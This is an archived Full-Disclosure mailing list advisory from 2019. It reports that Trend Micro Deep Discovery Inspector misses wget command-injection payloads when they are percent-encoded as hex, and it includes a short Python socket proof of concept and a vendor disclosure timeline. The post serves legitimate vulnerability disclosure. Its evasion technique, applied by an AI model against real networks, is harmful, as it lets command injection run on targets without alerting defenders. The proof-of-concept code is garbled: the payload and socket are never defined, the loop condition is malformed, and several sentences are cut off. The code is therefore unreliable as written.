lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  PHC 
Open Source and information security mailing list archives
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Tue, 23 Jul 2019 20:58:26 -0400
From: hyp3rlinx <>
Subject: [FD] Trend Micro Deep Discovery Inspector IDS / Percent Encoding
	IDS Bypass

[+] Credits: John Page (aka hyp3rlinx)
[+] Website:
[+] Source:
[+] ISR: Apparition Security


Deep Discovery Inspector

Deep Discovery Inspector is a network appliance that monitors all ports and
over 105 different network protocols to discover advanced threats and
targeted attacks
moving in and out of the network and laterally across it. The appliance
detects and analyzes malware, command-and-control (C&C) communications, and
evasive attacker
activities that are invisible to standard security defenses.

[Vulnerability Type]
Percent Encoding IDS Bypass

[CVE Reference]
Vendor decided not to release a CVE

[Security Issue]
Trend Micro Deep Discovery Inspector IDS will typically trigger alerts for
malicious system commands like "Wget Commandline Injection" and they will
be flagged as high.
Attacker payloads sent with normal ascii characters for example like "wget"
or even if they have been HEX encoded like "\x77\x67\x65\x74" they will
still get flagged and alerted on.

However, attackers can easily bypass these alerts by sending malicious
commands in HEX preceded by percent sign chars "%", e.g. "%77%67%65%74"
which also translates to "wget" and
will not get flagged or alerted on and may still be processed on the target



Therefore, Trend Micro IDS alerts can be easily bypassed and the payload is
still run by the vulnerable target if the payload is encoded using
percent/hex encoding like %77%67%65%74.
That will not only bypass the IDE by having no alert triggered or
notification sent but the application will still process the malicious

Importantly, the "wget" DDI Rule 2452 used is just an example and can
potentially be any malicious request where the IDS checks the character
encodings but fails to account for
percent encoded HEX character payload values.

from socket import *
#Bypass TM DDI IDS e.g. Rule 2452 (Wget command line injection) PoC
#Discovery: hyp3rlinx - ApparitionSec
#Apparition Security
#Firewall Rule Bypass

IP = raw_input("[+] Trend Micro IDS")
PORT = 80

req = "GET "+payload+" HTTP/1.1\r\nHost"+IP+"\r\nConnection: close\r\n\r\n"

s.connect((IP, PORT))

while True:
    res = s.recv(512)
    print res
    if res=="\n" or "</html>":


#Result is 200 HTTP OK and code execution on vuln app and No IDS Alert gets

[Network Access]


[Disclosure Timeline]
Vendor Notification: May 14, 2019
Vendor confirmed the IDS Bypass: May 20, 2019
Vendor informed that a DDI IDS enhancement has been made: July 18, 2019
July 23, 2019 : Public Disclosure

[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).


Sent through the Full Disclosure mailing list
Web Archives & RSS:

Powered by blists - more mailing lists